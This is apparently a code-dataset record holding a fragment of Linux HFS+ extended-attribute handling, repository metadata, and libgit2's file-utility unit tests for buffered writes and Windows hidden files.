goto end_removexattr;
is_xattr_acl_deleted = !strcmp_xattr_acl(name);
is_all_xattrs_deleted = !hfsplus_attr_exists(inode, NULL);
if (!is_xattr_acl_deleted && !is_all_xattrs_deleted)
goto end_removexattr;
cat_entry_type = hfs_bnode_read_u16(cat_fd.bnode, cat_fd.entryoffset);
if (cat_entry_type == HFSPLUS_FOLDER) {
flags = hfs_bnode_read_u16(cat_fd.bnode, cat_fd.entryoffset +
offsetof(struct hfsplus_cat_folder, flags));
if (is_xattr_acl_deleted)
flags &= ~HFSPLUS_ACL_EXISTS;
if (is_all_xattrs_deleted)
flags &= ~HFSPLUS_XATTR_EXISTS;
hfs_bnode_write_u16(cat_fd.bnode, cat_fd.entryoffset +
offsetof(struct hfsplus_cat_folder, flags),
flags);
hfsplus_mark_inode_dirty(inode, HFSPLUS_I_CAT_DIRTY);
} else if (cat_entry_type == HFSPLUS_FILE) {
flags = hfs_bnode_read_u16(cat_fd.bnode, cat_fd.entryoffset +
offsetof(struct hfsplus_cat_file, flags));
if (is_xattr_acl_deleted)
flags &= ~HFSPLUS_ACL_EXISTS;
if (is_all_xattrs_deleted)
flags &= ~HFSPLUS_XATTR_EXISTS;
hfs_bnode_write_u16(cat_fd.bnode, cat_fd.entryoffset +
offsetof(struct hfsplus_cat_file, flags),
flags);
hfsplus_mark_inode_dirty(inode, HFSPLUS_I_CAT_DIRTY);
} else {
pr_err("invalid catalog entry type\n");
err = -EIO;
goto end_removexattr;
}
end_removexattr:
hfs_find_exit(&cat_fd);
return err;
}
static int hfsplus_osx_getxattr(struct dentry *dentry, const char *name,
void *buffer, size_t size, int type)
{
char xattr_name[HFSPLUS_ATTR_MAX_STRLEN +
XATTR_MAC_OSX_PREFIX_LEN + 1] = {0};
size_t len = strlen(name);
if (!strcmp(name, ""))
return -EINVAL;
if (len > HFSPLUS_ATTR_MAX_STRLEN)
return -EOPNOTSUPP;
strcpy(xattr_name, XATTR_MAC_OSX_PREFIX);
strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name);
return hfsplus_getxattr(dentry, xattr_name, buffer, size);
}
static int hfsplus_osx_setxattr(struct dentry *dentry, const char *name,
const void *buffer, size_t size, int flags, int type)
{
char xattr_name[HFSPLUS_ATTR_MAX_STRLEN +
XATTR_MAC_OSX_PREFIX_LEN + 1] = {0};
size_t len = strlen(name);
if (!strcmp(name, ""))
return -EINVAL;
if (len > HFSPLUS_ATTR_MAX_STRLEN)
return -EOPNOTSUPP;
strcpy(xattr_name, XATTR_MAC_OSX_PREFIX);
strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name);
return hfsplus_setxattr(dentry, xattr_name, buffer, size, flags);
}
static size_t hfsplus_osx_listxattr(struct dentry *dentry, char *list,
size_t list_size, const char *name, size_t name_len, int type)
{
/*
* This method is not used.
* It is used hfsplus_listxattr() instead of generic_listxattr().
*/
return -EOPNOTSUPP;
}
const struct xattr_handler hfsplus_xattr_osx_handler = {
.prefix = XATTR_MAC_OSX_PREFIX,
.list = hfsplus_osx_listxattr,
.get = hfsplus_osx_getxattr,
.set = hfsplus_osx_setxattr,
};
|
1ff3f9e5e83cfd89948ad6a0bfe05890ba801d0e
|
d38ed5f31d74a79a054ed55dd9123a8d615283b9
|
/third_party/libgit2/tests/core/futils.c
|
fce4848f5a7bc45744c87a93af9ab7cf96caa12b
|
[
"GPL-2.0-only",
"LicenseRef-scancode-public-domain",
"GCC-exception-2.0",
"LGPL-2.0-or-later",
"Zlib",
"LGPL-2.1-or-later",
"LGPL-2.1-only",
"ISC",
"MIT",
"Apache-2.0"
] |
permissive
|
chigraph/chigraph
|
8ff76a14337da29fa2b2a84d5c35f2eac4156c6e
|
6981bdd6763db54edfe284c1f7d223193584c69a
|
refs/heads/master
| 2022-12-21T13:46:57.273039
| 2022-12-17T18:41:19
| 2022-12-17T18:41:19
| 60,776,831
| 364
| 65
|
Apache-2.0
| 2019-12-13T14:46:43
| 2016-06-09T13:27:37
|
C++
|
UTF-8
|
C
| false
| false
| 1,672
|
c
|
futils.c
|
#include "clar_libgit2.h"
#include "fileops.h"
/* Fixture setup and teardown */
void test_core_futils__initialize(void)
{
cl_must_pass(p_mkdir("futils", 0777));
}
void test_core_futils__cleanup(void)
{
cl_fixture_cleanup("futils");
}
void test_core_futils__writebuffer(void)
{
git_buf out = GIT_BUF_INIT,
append = GIT_BUF_INIT;
/* create a new file */
git_buf_puts(&out, "hello!\n");
git_buf_printf(&out, "this is a %s\n", "test");
cl_git_pass(git_futils_writebuffer(&out, "futils/test-file", O_RDWR|O_CREAT, 0666));
cl_assert_equal_file(out.ptr, out.size, "futils/test-file");
/* append some more data */
git_buf_puts(&append, "And some more!\n");
git_buf_put(&out, append.ptr, append.size);
cl_git_pass(git_futils_writebuffer(&append, "futils/test-file", O_RDWR|O_APPEND, 0666));
cl_assert_equal_file(out.ptr, out.size, "futils/test-file");
git_buf_dispose(&out);
git_buf_dispose(&append);
}
void test_core_futils__write_hidden_file(void)
{
#ifndef GIT_WIN32
cl_skip();
#else
git_buf out = GIT_BUF_INIT, append = GIT_BUF_INIT;
bool hidden;
git_buf_puts(&out, "hidden file.\n");
git_futils_writebuffer(&out, "futils/test-file", O_RDWR | O_CREAT, 0666);
cl_git_pass(git_win32__set_hidden("futils/test-file", true));
/* append some more data */
git_buf_puts(&append, "And some more!\n");
git_buf_put(&out, append.ptr, append.size);
cl_git_pass(git_futils_writebuffer(&append, "futils/test-file", O_RDWR | O_APPEND, 0666));
cl_assert_equal_file(out.ptr, out.size, "futils/test-file");
cl_git_pass(git_win32__hidden(&hidden, "futils/test-file"));
cl_assert(hidden);
git_buf_dispose(&out);
git_buf_dispose(&append);
#endif
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.